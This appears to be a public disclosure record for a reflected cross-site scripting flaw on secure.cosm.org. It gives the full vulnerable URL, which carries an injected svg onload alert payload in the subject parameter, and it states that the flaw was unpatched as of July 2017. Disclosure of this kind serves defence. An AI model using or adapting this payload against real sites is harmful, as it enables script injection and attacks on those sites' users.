secure.cosm.org XSS vulnerability

Vulnerable URL: https://secure.cosm.org/np/clients/cosm/tellFriend.jsp?subject=Attending%20ALASH=%22%3E%3Csvg/onload=alert/XSSPOSED/%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Ran...